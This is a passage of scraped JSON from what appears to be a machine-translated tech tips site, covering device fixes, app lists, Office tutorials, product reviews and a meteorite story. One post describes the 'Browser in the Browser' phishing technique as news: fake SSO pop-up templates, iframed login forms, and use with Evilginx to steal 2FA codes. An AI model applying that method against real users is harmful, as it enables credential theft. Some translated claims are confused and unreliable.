turn on Wifi after 1 hour, 4 hours or 1 day on Windows 10 Complete how to use all backup and restore tools on Windows 10 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnTrqmnZaWWsG67zWaYp5xdpLOnec6nZLChnpm8uL%2BMamc%3D\n","link":"/post/instructions-on-how-to-turn-uac-on-and-off-on-windows-10/","section":"post","tags":null,"title":"Instructions on how to turn UAC on and off on Windows 10"},{"body":"According to Space.com, a team of researchers in Turkey claimed to have found the first credible evidence of a human being killed by a meteorite.\nAccordingly, the incident was recorded in a piece of documents restored from the digital library of the National Archives of Turkey. The researchers said this was a letter from a local official to the 34th King of the Ottoman Empire - Abdul Hamid II to report on a meteorite explosion on August 22, 1888.\n The incident in 1888 was the first credible evidence of a human's death due to a meteorite hit (illustration).\nThe most reliable evidence ever At 20:30 that day, a large fireball was seen by people in the sky of what is now the city of Sulaymaniyah in Iraq today. Just a few seconds later, a series of small meteorite fragments continuously hit a village in the area for 10 minutes.\u0026nbsp;\nAs a result, this rare incident killed an unidentified man and wounded another person, marking the first time in history to find reliable evidence that humans died after being hit by asteroid .\u0026nbsp;\nCurrently, the researchers have not been able to accurately determine the height, speed, size and position when colliding with the meteorite's ground. However, based on records in ancient texts, the researchers believe that the meteorite plunged to the southeast toward the southeast, exploding just above the sky before its small meteorite pieces collided with a crest. hills in Sulaymaniyah. Many crops and crops in the area have also been damaged by the shock wave of the meteorite when exploded.\u0026nbsp;\n Meteors have exploded in the sky of what is now the city of Sulaymaniyah in Iraq\nReportedly, the team of researchers is still actively seeking more evidence of the incident in the Turkish government's digital archive.\n\" We wanted to find out how Sultan Abdul Hamid II reacted after receiving reports from local officials. We also wanted to look for the remains of the meteorite after it collided.\" to the ground, \"said the team representative.\nThere have never been any recorded deaths from asteroids According to Space.com, millions of meteors fall into the Earth's atmosphere every day. However, very few meteors are likely to fall to the surface. Most of them are small in size and mass, and were burned as soon as they crashed into Earth's atmosphere.\nHowever, according to the NASA database, since 1988, at least 822 meteors are large enough to explode in the atmosphere, creating a constant number of smaller meteorite fragments. able to plunge to the ground. Therefore, the possibility of humans being killed by a falling meteorite debris is probable, although the probability is extremely low, only about 1 in 75 million.\u0026nbsp;\n The meteors are small in size when they crash into the burning Earth's atmosphere, creating meteor showers\nHowever, up to now, scientists have not recorded any direct deaths due to meteorites, partly because there has not been found compelling evidence. Most historical records of such accidents are quite vague. Only one case was confirmed to have been injured by a falling meteorite. It was a woman named Ann Hodges, 34 years old, living in Sylacauga City, Alabama, USA.\u0026nbsp;\nOn November 30, 1954, while taking a nap on the sofa in his home, a meteorite about the size of a tennis ball, weighing 3.8kg from the sky, fell through the roof and hit his hip. Mrs. Ann Hodges. Ann Hodges was immediately taken to the hospital by her family. The test results showed that she had only minor injuries with a few bruises on her body.\n Mrs. Ann Hodges with a hip wound caused by asteroid\nIn 2013, a fairly large meteorite exploded in the atmosphere and poured down Chelyabinsk region (Russia) pieces of meteorite weighing 654 kg. However, there have not been any deaths or injuries due to direct hit by meteorite. Most of the injuries were due to the impact of the shockwave when the meteorite exploded, causing a series of glass doors of many buildings in Chelyabinsk to shatter.\nIn 2016, Kamraj, a bus driver, was killed after falling by an unknown object on the campus of Bharathidasan Technical University (India). Two other gardeners and one student were also injured. Subsequent conclusions from NASA suggest that the aforementioned object could be a fragment of a rocket, rather than a meteorite.\nWatch video: A meteorite moment exploded in the sky of the city of Chelyabinsk (Russia) in 2013\nncG1vNJzZmismaXArq3KnmWcp51kuKq4y56bZpqVmK62v8Rmq6GdXaKytbHOq6CtnV2dtrV5xaKprKxdnrtutNSmmKdlmJ7AtbvRsg%3D%3D\n","link":"/post/killed-because-the-meteorite-hit-first-in-human-history/","section":"post","tags":null,"title":"Killed because the meteorite hit first in human history"},{"body":"This fake window is designed to be extremely lifelike, and also comes with a series of login options familiar with Google, Microsoft, Apple, Twitter or even Steam. The example below shows the DropBox login form, allowing users to sign in with an Apple or Google account.\n  When you click the Login in Google or App button, a single sign-on (SSO) browser window will be displayed, prompting you to enter your credentials and proceed with your account login.\nThese windows are removed to show only the login form and a URL address bar of the login form.\n  Although the address bar is disabled in these SSO windows, you can still use the displayed URL to verify that a legitimate google.com domain is being used to log you into the site. The presence of this URL makes the form more trustworthy, and will make you feel comfortable, no doubt, when entering your login information.\nIn the past, threat actors have attempted to create these masquerade SSO windows using HTML, CSS, and JavaScript. But there's usually something slightly different about the windows, making them look suspicious rather than 'real' as in the case above.\nBrowser in the Browser Attack The emergence of these fake browser windows leads to a new form of attack called \"Browser in the Browser (BitB)\". They use ready-made templates to create fake Chrome pop-ups, but are designed to look like the real thing, including custom URLs and address headers that can be used in phishing attacks.\nBasically, BitB attack creates fake browser windows inside real browser windows (browser within browser), thereby helping to improve the persuasion of the phishing activity.\nA security researcher with the nickname mr.d0x recently released examples of BitB attack samples (via GitHub). These include fake Chrome windows on both Windows and Mac, with variations in the appearance of dark and light backgrounds.\n  Malicious actors sometimes simply download templates, edit them to contain the desired URL and title, and then use an iframe to display the login form. Alternatively, it is also possible to add HTML for the login form directly. However, this process will require the hacker to know how to properly align the form using CSS and HTML.\nKuba Gretzky, the creator of the Evilginx phishing toolkit, tested the new method and showed how it works perfectly with the Evilginx platform. This means it can be adapted to steal 2FA keys in phishing attacks.\n  In fact, this is not a scam technique. In 2020, there have been many cases of fake game websites using the above technique to steal Steam login information.\nncG1vNJzZmismaXArq3KnmWcp51ku6bDjKmfoquYnruoedOopqWjmal6pbXSnKavnaKasW7Ax5qrZqWRoLK0ecitZJ6Zo656tbuMnKmemaSaeqetyp5knKCipLqmecGrprCrlad6uLXNnaawqw%3D%3D\n","link":"/post/new-phishing-toolkit-discovered-that-makes-it-easy-to-create-fake-chrome-browser-windows/","section":"post","tags":null,"title":"New phishing toolkit discovered that makes it easy to create fake Chrome browser windows"},{"body":"City theme is always a topic that appeals to those who love photography. Images of high-rise buildings, streets on lights, colors, light blend together to create an extremely lively and bustling picture.\nEach city or street brings its own beauty depending on how people feel. And each scene gives people a view of many different emotions. Below is a set of night-time city wallpapers with high resolution on your computer, please refer and download the set of city wallpapers for computers and laptops.\nSynthetic 70+ coffee wallpapers, coffee background images for computers, laptops Synthesis of more than 40 high resolution Thanos wallpapers for computers More than 60 high resolution Captain America wallpapers for computers and laptops Set of night city wallpapers for computers and laptops Because the wallpaper has a high resolution, I will resize for your reference, if you want to download a set of city wallpapers at night with full resolution. Scroll down to the bottom of this article to download.\n  Night street wallpaper\n  Night city wallpaper\n  Beautiful city wallpaper\n  The most beautiful night city wallpaper\n  Night city wallpaper\n  City wallpaper on 4K night\n  Beautiful night street wallpaper\n  Street photos at night\n    Beautiful street photo background\n  The best night street photos\n  Night street photo background for computers\n  Synthesis of street wallpapers at night\n  Night street wallpaper for computer\n  Wallpaper City Light\n  Night street photo background for computers\n      Above is a set of nocturnal street wallpapers, high-resolution night-time city wallpapers on computers and laptops. To download the set of night street wallpapers, the night city wallpaper with default resolution you can download right below.\nLink download set of city wallpapers at night the default resolution\nOne more thing when setting the desktop wallpaper on Windows 10, your system will automatically reduce the image quality to about 85%. If you want to leave the wallpaper on your computer with 100% quality, you can refer to the instructions on how to set the wallpaper with the default resolution in the tutorial. How to increase the quality of Windows desktop wallpaper to set the substrate wallpaper default amount.\nncG1vNJzZmismaXArq3KnmWcp51kwLq606GcrKGjYrynecGemK6smZvCrXnNop6hrF2YtrXFjLCYpaSglr2mvtJmnaiqXZi8rrzUrZyrqw%3D%3D\n","link":"/post/synthesis-of-beautiful-night-city-wallpapers-for-computers/","section":"post","tags":null,"title":"Synthesis of beautiful night city wallpapers for computers"},{"body":"Samsung Galaxy S7 and Galaxy S7 Edge are considered the most complete 'super products' of Samsung. These two productions have been around for a while, and quickly became a hot-selling smartphone for the technology market. However, in the process of using, many users find that Galaxy S7 and Galaxy S7 Edge still have some errors, such as Wifi, Bluetooth connection errors .\nIn the following article, Network Administrator has compiled some of the most common errors on Samsung Galaxy S7 and Galaxy S7 Edge as well as some solutions to overcome these errors.\n1. \"warning, camera failed\" error   In the process of using the Galaxy S7 and Galaxy S7 Edge, some users discovered that when they opened the camera application, only a blank frame appeared on the screen and displayed \"warning, camera failed\" error messages.\nSolution to fix errors: - The cause of the error may be the Smart Stay feature. Samsung's Smart Stay feature is used on the front camera so you can't take your eyes off the screen.\nTo fix the \"warning, camera failed\" error temporarily, you can turn off the Smart Stay feature by going to Settings =\u0026gt; Display .\n2. Error of Wifi, Bluetooth connection   Wifi connection error, Bluetooth connection are quite common errors, which occur on the phone lines, in which Galaxy S7 and Galaxy S7 Edge are no exception.\nSolutions: - Wifi connection error continuously interrupted:\nWifi connection errors are constantly interrupted as one of the most common errors, especially happens on Wifi Router that supports both 2.4Ghz and 5Ghz bandwidth. To fix this, go to Advanced Settings on the Wifi Menu on your mobile device, find Wifi Frequency Band. Change Automatic to the default value of 2.4 Ghz.\n- Failed to connect to Wifi:\n- Turn off your mobile device and Router within about 10 seconds, then turn it back on and try the Wifi connection again.\n- Access Settings =\u0026gt; Power saving and make sure all options are turned off.\n- Use Wifi Analyzer to check the Wifi you are connecting with many people connect and use or not, then switch to connect to another Wifi.\n- Forget your Wifi connection by accessing Settings =\u0026gt; Wifi , press and hold the Wifi connection you want to forget, then click on Forget and try to reconnect Wifi again.\n- Make sure your Firware Router has been updated.\n- Ensure that the applications and software on your device have been updated.\n- Go to Wifi =\u0026gt; Settings =\u0026gt; Advanced and note your device's MAC address, then make sure that this address is allowed to access the Router's MAC address filter.\n- Bluetooth error:\n- Make sure you don't skip any important steps in the connection process.\n- Go to Settings =\u0026gt; Bluethooth and check without any changes.\n- Go to Setttings =\u0026gt; Bluetooth , delete all previous pairings, then try pairing again.\n3. Error Power button, Home button and Volume button does not work   In some cases Galazy S7 and Galaxy S7 Edge users encountered Power button errors and the Volume button suddenly did not work, and even the Recent Apps button or Home button did not respond.\nSolution to fix errors: - The cause of the above error may be caused by a fake application on Galaxy S7 or Galaxy S7 Edge. To fix the error, start your device in Safe Mode and fix the error. If the error persists, proceed to uninstall any application that you just installed and cause an error.\n- In some cases, resetting your mobile device is also a good solution. Press and hold the Power button with the Volume down button for a few seconds until the device restarts.\n- In some cases the Home and Recent Apps keys do not work, the culprit may be due to Car Mode. To fix the error, just turn off the Car Mode and check if the error has been fixed.\n4. Speaker error is wet   The Galaxy S7 and Galaxy S7 Edge are equipped with IP68 which is waterproof to dustproof but this does not mean that your Galaxy S7 or Galaxy S7 Edge is not waterproof.\nAlthough you can 'soak' your Galaxy S7 or Galaxy S7 Edge underwater for 30 minutes but because there are no buttons to close the speaker or connection port, they really work 100% when completely dry.\nSolutions: - Do not open the music, open the speaker when there is water on the speaker as this can cause water to penetrate inside.\n- Use a soft towel to dry and limit shock or shake to avoid water getting into the machine.\n- Note: Do not use a hair dryer to dry your mobile device, and do not plug in the device immediately.\n5. Error Auto correct on Samsung keyboard   Quite a lot of users discovered that Samsugn's keyboard automatically adjusts, changes the sign, the meaning of the words.\nSolution to fix errors: To fix this, you can turn off the auto replace feature or remove the 3rd keyboard application that you downloaded and installed on Google Play Store.\n6. Soft reset guide, Hard reset, Wipe cache partition, boot Safe Mode on Galaxy S7 and Galaxy S7 Edge   6.1. Soft Reset Press and hold down the Power button and the Volume down button simultaneously for about 10 seconds until the device turns off completely. This applies when the device screen is unresponsive.\n6.2. Hard Reset - When your device is turned off, press and hold the Volume down button, Home button and Power button simultaneously.\n- When the Samsung logo appears, release it at the Power button but continue to press and hold the Volume down button and the Home button.\n- When the Android System Recovery screen appears, release your hands at all buttons.\n- Use the Volume up button to select Wipe data or Factory Reset , then use the Power button to accept.\n- Use the Volume down button to select Yes - delete all user data , then use the Power button to accept.\n- Wait for the reset process to finish, you will receive the message Reboot system now . Click the Power button to continue.\n- If your mobile device is open, go to Settings =\u0026gt; Backup \u0026amp; reset =\u0026gt; Reset device =\u0026gt; Erase Everything .\n6.3. Partition partition wipe - If your mobile device is turned off, press and hold the Volume down button, Home button and Power button simultaneously .\n- When the Samsung logo appears, release the Power button, but continue to press and hold the Home button and the Volume down button.\n- When the Android System Recovery screen appears, release your hands on all buttons.\n- Use the Volume down button to select the Wipe cache partition , then press the Power button to accept.\n- When returning to the previous Menu, go to the menu and select Reboot system now.\n6.4. Boot in Safe Mode When your device is turned off, open your device again, press and hold the Volume up button until the Safe Mode button appears on the screen. Click the Safe Mode button to start your device in Safe Mode.\nRefer to some of the following articles: Get all notifications from your Android phone on the Desktop screen The difference between jailbreak, root and unlock How to transfer all data from an old Android phone to a new phone? Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjG5kpqejqXqku8ympqdllae%2FsL7SZqanZZeWuaLE2GaqcGWXlrmixNhmqnBllZm0pnnAp5tmoJ%2BserW7jJ%2BgsWWknbKu\n","link":"/post/the-5-most-common-errors-on-galaxy-s7-galaxy-s7-edge-and-how-to-fix-them/","section":"post","tags":null,"title":"The 5 most common errors on Galaxy S7 / Galaxy S7 Edge and how to fix them"},{"body":"Therefore, keeping the system clean is a very essential job. Android garbage collection apps will help you do this. TipsMake has filtered out a list of the best junk cleaning apps on Android, please read the reference below.\n1. Wondershare MobileGo Storage Cleaner This is one of the junk cleaning apps used by lots of Android users. Wondershare MobileGo helps Android users improve application performance, uninstall apps, control APK files and free space by removing unnecessary files. This can be considered as the best ad-free cleaning application at the moment.\n  The app is currently available for free on the Google Play Store. In addition, the application also has a few additional features such as application management and file conversion. It will also help solve basic system problems and clean up your phone.\n2. Clean Master Clean Master is a free app and is available in online app stores. Everyone in the world can access this Android garbage collection application. It can clean redundant files, cache, junk files and history.\n  Clean Master application is extremely easy to use and has anti-virus capabilities on the device. Only through simple steps, users can install Clean Master on the phone and especially it does not consume battery power.\n3. App Cache Cleaner This application will delete all the cache files on your Android phone. Users can install this app on Google Play Store. It will save the cache files and add space on the device. App Cache Cleaner creates more space on your device by finding and removing junk files that are taking up space.\n  This is the best Android junk cleaner application to clean unnecessary files. The app also allows you to set up file cleaning reminders when needed.\n4. 1 Tap Cleaner This is an application that helps to remove all junk files with just one touch. 1 Tap Cleaner contains features to help users clear history, cache, even messages and call logs. The app will clean up regularly and improve the performance of your Android phone.\n  In addition, this application also has a default option to delete unnecessary operations. 1 Tap Cleaner helps users to set a certain period of time to clean junk, delete files on the system.\n5. SD Maid SD Maid provides perfect maintenance for the device. This app monitors folders and files in the background, deletes apps and files that are no longer in use to free up space on your Android device.\n  SD Maid comes in two versions: a free version with basic features, a premium version that offers extra storage and more efficient device maintenance.\n6. Cleaner eXtreme The world of technology is evolving and everyone wants to find the fastest way to complete their task. Cleaner eXtreme appears to help you reduce the data loss problem, often caused by the problem of too many apps running in the background. Cleaner eXtreme is capable of removing junk files without deleting data from the system. This app will take care of all functions on the device and just delete unnecessary files quickly.\n  7. CCleaner CCleaner helps you to remove junk files from Android phone. This application clears browsing history, application cache and clipboard content. It installs unnecessary apps to free up space on your device.\n  This application has a very user-friendly interface, does not display any ads on websites. CCleaner will monitor both RAM and internal memory of your phone. It will delete download folders, temporary files and message logs.\n8. CPU Tuner CPU Tuner helps users to improve device performance and save battery power.\n  In case you intend to download an application, you can carefully review the information about this app. Find out if this application meets your needs. Install the correct apps to avoid too much junk on your phone.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jHFkm52jqXqordGbmKCdXZi5pq3NoqWgZZGlvbR5zqdkmqaUp7yqsA%3D%3D\n","link":"/post/top-8-best-garbage-cleaning-apps-on-android/","section":"post","tags":null,"title":"Top 8 best garbage cleaning apps on Android"},{"body":"In this article, TipsMake.com will introduce you to the information about the diamond electric rice cooker that is the 'hot trend' as well as suggest some samples of good quality electric rice cookers, good cooking rice Best for you!\nIn Vietnamese meals, rice is always an indispensable item, so rice cookers are always an essential item in every family. To make sure the rice is cooked with a cooked rice cooker, it is both delicious and flexible and does not stick to the pot. It is easy to clean, the quality of the coating is an important factor that you cannot ignore or overlook. when choosing to buy this product. The coating of electric rice cookers has been increasingly improved with more modern technology, and now there are quite a number of rice cookers with diamond-covered pots launched on the market. Let's explore this product right away!\ncontent What is diamond rice cooker? Evaluate the details of diamond electric rice cooker is good, should you buy it? Rice cooking ability Features, design  Which diamond rice cooker is the best? Panasonic diamond electric rice cooker (electronic rice cooker) Toshiba diamond electric rice cooker (electronic rice cooker) Panasonic diamond electric rice cooker (high frequency electronic rice cooker)  What is diamond rice cooker? The non-stick coating of a rice cooker plays a huge role in helping rice when ripe is not sharpened, the rice grain is spongy, not sticky, making it easy to clean the pot after cooking. On the market today, non-stick coating materials are rich and diverse with simple types such as non-stick glazed cast iron, anti-stick enameled aluminum to more modern types such as anti-glazed aluminum alloy. stick Whitford, Carbon Flo, Binchotan .\nDiamond rice cooker is a type of electric rice cooker with the following characteristics :\nUsually made from materials such as aluminum stamping or aluminum alloy. There are often many layers, mainly 5 - 7 classes. Non-stick coating is made of diamond powder, Diamond Kamado.   Structure of multi-layer pot of diamond electric rice cooker.\nWith the type of pot like this, when using diamond electric rice cooker, you can wash the rice directly in the pot without fear of making the pot scratched or scratched. Samples of diamond electric rice cookers have been launched with the ability to withstand up to 100,000 - 110,000 times of scrubbing and if compared with conventional pots, in the process of cooking, diamond rice cookers produce bubbling bubbles Up to 2.5 times more, it will help the rice to cook faster, more evenly and better.\nSamples of diamond electric rice cookers on the market today are mainly high-frequency electric rice cookers, electronic rice cookers with products from brands such as Toshiba, Panasonic .\nEvaluate the details of diamond electric rice cooker is good, should you buy it? Rice cooking ability Under the high-frequency rice cooker line, electronic rice cooker is applied advanced and modern rice cooking technology, and equipped with anti-diamond coating coating, diamond rice cooker has the ability to cook flexible rice, no flabby, not burning, rice grains, not sticking to the pot and especially retaining many nutrients of rice grains, helping rice not only delicious but also nutritious, good for health. In addition, thanks to the ability to create many micro bubbles continuously moving during cooking to transmit and retain heat well, rice cooked with electric rice cookers is also cooked faster, more evenly and kept warm longer than Common electric rice cooker.\n  Diamond rice cookers cook rice well and have a variety of cooking modes.\nFeatures, design As a series of high-class rice cookers, diamond rice cookers have elegant colors, sophistication, modern design to help bring the kitchen space with comfort and luxury. The pot is also equipped with handles so you can easily move the pot from the kitchen area to the dining table very easily, safely, without being afraid of being hot or burned. These rice cookers often have a common capacity of 1.8 liters with the ability to cook rice for 4 - 6 members, so it is generally suitable for the majority of Vietnamese families today.\nDiamond electric rice cooker possesses many modern functions such as convenient timer mode, a rich variety of cooking regimes for cooking many stews, soup, soup . so it makes you both hands-free and economical. Cooking time, while saving kitchen space as well as shopping costs when there is no need to equip too many utensils in the kitchen. In addition, the pot also has a modern electronic control panel with the operational parameters of the pot clearly visible, detailed on the screen, easy to operate buttons with specific instructions, so users can customize and monitor the operation of the pot extremely quickly and conveniently.\nCertainly with the above reviews, you will no longer feel too anxious whether to buy and use diamond rice cookers or not, right?\nWhich diamond rice cooker is the best? Check out some samples of diamond electric rice cookers at affordable and high-end prices that are being appreciated by consumers on the market today!\nPanasonic SR-ZG185SRAM electronic rice cooker   Panasonic SR-ZG185SRAM electronic rice cooker with 6-layer pot design, covered with diamond powder, consists of 3 heating pads and Fuzzy Logic cooking technology, it is able to adjust the temperature, balance the amount of rice and the amount of water, thus helping the rice to cook evenly, pliable, cooked rice, and without being sharpened. The pot can withstand 100,000 times of scrubbing and the pot is equipped with 13 cooking functions with the ability to keep warm for up to 12 hours, helping the rice and dishes are always delicious and hot.\nSpecifications :\nCapacity: 1.8 liters Capacity: 775W Size: 340mm x 250mm x 210mm Brand: Japan Manufactured in: Malaysia Warranty 12 months Reference price : 3.1 million\nSee the best prices here Toshiba high-frequency electric rice cooker RC-18RH (CG) VN   Toshiba high-frequency electric rice cooker RC-18RH (CG) VN adopts 3-dimensional thermal technology and is able to automatically adjust the heat during cooking, the pot is coated with Titanium diamond adhesive so it cooks cooked rice uniform, spongy, loose, not dry or mushy. Pot has many cooking regimes such as cooking rice, cooking porridge, making boiled, steamed, making cakes . Pot can cook many kinds of rice and keep warm rice for up to 24 hours.\nSpecifications :\nCapacity: 1.8 liters Capacity: 1.200W Size: 297mm x 231mm x 378mm Brand: Japan Manufactured in: Thailand Warranty 12 months Reference price : VND 5.5 million\nSee the best prices here Panasonic SR-HB184KRA high-frequency electronic rice cooker   Panasonic SR-HB184KRA high-frequency electric rice cooker has a 7-layer pot design, covered with Kamado diamond. With a smart dome lid design, the pot has the ability to prevent condensation on the pot lid effectively, ensuring that the rice is not pasty. The pot has 11 functions, which can help you make many delicious dishes for the family extremely convenient.\nSpecifications :\nCapacity: 1.8 liters Capacity: 2,000W Size: 307mm x 386mm x 310mm Brand: Japan Made in Japan Warranty 12 months Reference price : VND 11.8 million\nSee the best prices here Hopefully, the above information has helped you to answer questions about the electric cooker with diamond coating on the pot which is currently popular as well as choose to buy the family a suitable product to cook meals. The rice is delicious and warm.\nSee more :\nElectric rice cooker and electric rice cooker: which type to buy? Tell you how to cook delicious rice with a rice cooker 5 Model of cheap mini rice cooker for students and few people ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFknaGRoryvsIyroJydXZi8sLfEq2Siq12ptaZ5wZ6qrQ%3D%3D\n","link":"/post/which-diamond-rice-cooker-is-the-best/","section":"post","tags":null,"title":"Which diamond rice cooker is the best?"},{"body":"As such, the first and only major feature update for Windows 11 in 2022 will be called Windows 11 22H2.\nA few days ago, Microsoft released a preview build of Windows 11 Build 22610 to Insiders on Beta and Dev channels. This update does not provide exciting new features, but mainly focuses on error handling to improve operating system stability. However, it has suddenly attracted attention when it removed the 'technical preview' watermark from the desktop. Usually, this is one of the key factors that indicate that a major Windows 11 update is about to enter the early RTM phase.\nRTM (short for Release To Manufacturing) can be understood as the version used to produce the official version, or even called RTM as the official version, which is not wrong in essence. RTM is used to distribute to computer manufacturing businesses, and there is almost no difference from the final version to users.\nSo when can Windows 11 22H2 be released as soon as possible? According to many sources, Windows 11 22H2 will most likely reach this RTM this May. However, WZOR (the famous Windows build tracker on Twitter) disagrees with the above statement and thinks that Windows 11 22H2 will only be able to officially launch at the end of June at the earliest. Overall, there is still no What is certain at the moment, all just stop at the level of reference information.\n  As mentioned, Windows 11 22H2 will be this year's only major Windows 11 update, and is expected to be codenamed Sun Valley 2. 22H2 is expected to bring improvements and useful changes, helping Windows 11 becomes an even more complete platform. Users can expect some known 'highlight' issues to be resolved in this update, such as limitations related to the taskbar, Start menu, or context menu interface.\nIn a recent statement, Microsoft pledged to continue to bring the new operating system to more devices in 2022, with a strategy of releasing updates in phases as well as specific regions. The company's goal is to make Windows 11 the most commonly used version of Windows by the summer of 2022. This is entirely possible if Microsoft executes on its plans.\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGVhZnpzfsdrZLChnKF6qa3VnmSrrJ1iw6a%2B0qKmp2WinrSpwIyipWalka4%3D\n","link":"/post/windows-11-22h2-will-have-rtm-version-right-in-may/","section":"post","tags":null,"title":"Windows 11 22H2 will have RTM version right in May?"},{"body":"Today, photo editing is becoming easier, and to help you maximize your photo editing capabilities, we will introduce you to some basic tips for editing an image using Adobe Photoshop Express software. . This is a completely free and multi-platform application (iOS, Android, Windows Phone).\nDownload Adobe Photoshop Express for iOS Download Adobe Photoshop Express for Android Download Adobe Photoshop Express for Windows Phone   1. Crop:   Consider if your image is better when cutting out part or area of ​​a photo. It's too often when you have to see a picture that has an unnecessary object that must appear in your frame. Don't be afraid because you can remove that object with the \" Crop \" option if you feel this helps the picture look better.\nIn Adobe Photoshop Express, the \" Crop \" tool is the second icon in the toolbar below. When you choose this tool, you just need to use the hand to drag and drop the outline of the frame you want.\nIf you change your mind at any time, simply press the back button ( curved arrow in the toolbar at the top ) to return to your original image.\n2. Sharpen On the Internet there are too many photos posted that are blurry, especially pictures of children or animals. While not much you can do to change a photo is too fuzzy, but editing a small amount of blurring is really not difficult.\n  Touch the icon on the lower toolbar, where there are three lines with three dots. From here, you will see options to change the clarity of the image. Touch the option you want to make, then use the slider to select the level you see is the best for your image.\n3. Red eye:   Red eye is a really simple error. In Adobe Photoshop Express, touch the eye icon below the screen. After that, you can press the \" Red Eye Auto Detect \u0026amp; Correct \" button to perform automatic editing or click on the red eyes in the picture to fix them manually.\nThere is no reason that pet photos with strange eyes cannot be corrected with the app's \" Red eye \" function.\n  4. Blemishes: We cannot fully edit the beauty in Photoshop, but the application can edit odd defects, especially in an ideal picture you want to share.\n  Adobe Photoshop Express has the function of smoothing, removing notes, dirt and dust. Swipe to the left in the toolbar below until you see an ice icon. Touch it and click on the area in the photo you want to improve.\n5. Darkness: Smartphone cameras are increasingly improving on new devices but it can still easily capture images that are too dark. The good news is that you can change the brightness to fix them.\n  In the Adobe Photoshop Express application, it is easy to adjust the contrast, exposure, brightness in bright and dark areas, color temperature, color temperature and image vibrations.\nTo access these tools, select the three-line icon and three dots, then you can browse through these options.\nncG1vNJzZmismaXArq3KnmWcp51kgm6uwKygnGWgnby1u4yem6KsmaO0bsDIqapmp55irqW7wZ5kqaCfqby0tM6pZJ6woKeytL8%3D\n","link":"/post/5-basic-photo-editing-tips-on-adobe-photoshop-express/","section":"post","tags":null,"title":"5 basic photo editing tips on Adobe Photoshop Express"},{"body":"As you know, the MAX () function helps you return the largest of the input values. But if you want to get the maximum value that satisfies a given condition, the MAX () function cannot do it. To do that you need to use the DMAX () function, the DMAX () function will help you get the maximum value and satisfy the input conditions.\n  If you do not know the syntax and usage of the DMAX () function, you follow the article below:\nDescription DMAX () is the function that returns the maximum value in a column in a list or database that satisfies the condition that you give.\nSyntax = DMAX (database, field, criteria) \nInside:\n- database: list or related database including column headers.\n- field: the field (column) needs to get the maximum value. You can enter the column header directly in quotation marks or some representing the column position in the database: 1 for the first column, 2 for the second column, etc., you can also enter the cell containing the required column header. Using example B3, C1 .\n- criteria: is the range of cells that contain conditions, you can choose any as long as the range contains at least one column header and the cell below the column header contains conditions for the column.\nNote\n- You should set the criteria range on the worksheet so that when adding data, the range of conditions does not change.\n- The scope of the conditions that need to be separated is not inserted into the list or database to be processed.\n- Criteria must contain at least column headers and a cell containing conditions under column headers.\nFor example Find the highest salary of female employees in the following data table:\n  Firstly, facilitating Gender as a Female.\n  Next apply the DMAX formula:\n= DMAX (B8: F14, F8, D5: D6) \nB8: F14 is the data table to find the highest salary.\nF8 is the Salary column, the column to find the highest salary value.\nD5: D6 is the criteria condition area.\nYour results will be as follows:\n  The article has described, presented the syntax and with specific examples hope you will understand and know how to use the DMAX () function in Excel. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksa6t12adrqaTqbawuoyrnK2toqPAbq%2FOp5uirJmku6K4jKaYsaGdqrpuwsClrJ5lmaN6psTCnqM%3D\n","link":"/post/dmax-function-returns-conditional-maximum-value-in-excel/","section":"post","tags":null,"title":"DMAX () function (returns conditional maximum value) in Excel"},{"body":"Motion effects in PowerPoint are always essential and important content for each presentation slide, making the content more artistic and professional. And besides the simple motion effects, many people choose to use Motion Paths motion effects in PowerPoint.\nMotion Paths are motion effects that follow a drawing line. The user then draws any line in the effect frame of Motion Paths and the object moves along that line. Users can combine multiple Motion Paths for a moving object on a slide, but need to know how to create appropriate moving paths. The following article will show you how to combine Motion Paths motion effects in PowerPoint.\nHow to flip, rotate images on PowerPoint How to create a countdown timer on PowerPoint How to make PowerPoint fireworks effect How to create a crossword game on PowerPoint Guide to combining Motion Paths PowerPoint Step 1:\nUsers inserting objects into slides , can insert images into PowerPoint for practice first.\n  Step 2:\nClick Next and tab Animations on the toolbar and select Add Animation below to add motion effects to the object.\n  Show list of motion effect types below. Scroll down to find Motion Paths . At this frame, users will see some lines of lines that move like straight lines, arcs (Arcs), . If you want to add other types of lines, click More Motion Paths .\n  In the Add Motion Path interface, you will see a lot of different lines of motion. Click on the type of motion you want to use and click OK below.\n  Step 3:\nThe results in the PowerPoint slide interface will display the motion path exactly to the type of motion effect you have selected. The number 1 at the side shows for an effect being used on the image. You can click Preview to test the object.\n  In case the motion path doesn't go in the right direction, you can click on the moving frame and stretch or shrink if desired.\n  Step 4:\nClick on the Animations tab and then in the Start menu, click on After Previous .\n  Go back to the Animations tab and then choose another type of motion associated with the first motion you selected.\n  As a result, users will see the second type of motion added to the image with its moving path.\n  Step 5:\nNext, users need to adjust the motion lines so that the image moves in a successive way without having to go back.\nFirst we need to click on the second motion line , then drag the blue point through the red dot of the first arrow .\n  Then click on the red dot of the second moving line and pull down the last point of the moving line . This adjustment step users need to do exactly to move the image to the next one.\n  Finally press the Preview button to check whether the motion of the image is correct or not. The resulting image moves as shown with the gif image below.\n  Like normal animation effects, with Motion Paths we also easily combine motion patterns with each other. However, adjusting the motion path is very important to create a seamless movement for images or other objects.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufoq%2BqusRmpKismaS7brzArZ%2BsZZGjtq6t06Kmp2WVm7Omr9OsZKKmXaW8uLHRqaaipqQ%3D\n","link":"/post/how-to-combine-motion-paths-animation-effects-in-powerpoint/","section":"post","tags":null,"title":"How to combine Motion Paths animation effects in PowerPoint"},{"body":"For the features that the iPhone has now, the jailbreak is not necessarily necessary, or there are more than enough things you have already experienced. If you want to delete jailbreak is also simple, with how to delete jailbreak iOS with 3uTools is one of the many ways to help you do that. And in this article Taimienphi.vn will guide you on how to delete iOS jailbreak with 3uTools\nNote before deleting iOS jailbreak with 3uTools\nThis will restore the device, so you should Backup your data first. Maybe this restore won't let you go back to the old frimware, but rather the latest frimware or Apple allows it. Instructions to delete iOS jailbreak using 3uTools To be able to delete iOS jailbreak with 3uTools of course we need to have 3uTools in the machine first. So download and install 3uTools before proceeding to delete iOS jailbreak with 3uTools.\n- Download 3uTools for PC here.\nStep 1: To delete iOS jailbreak with 3uTools please open 3uTools, connect 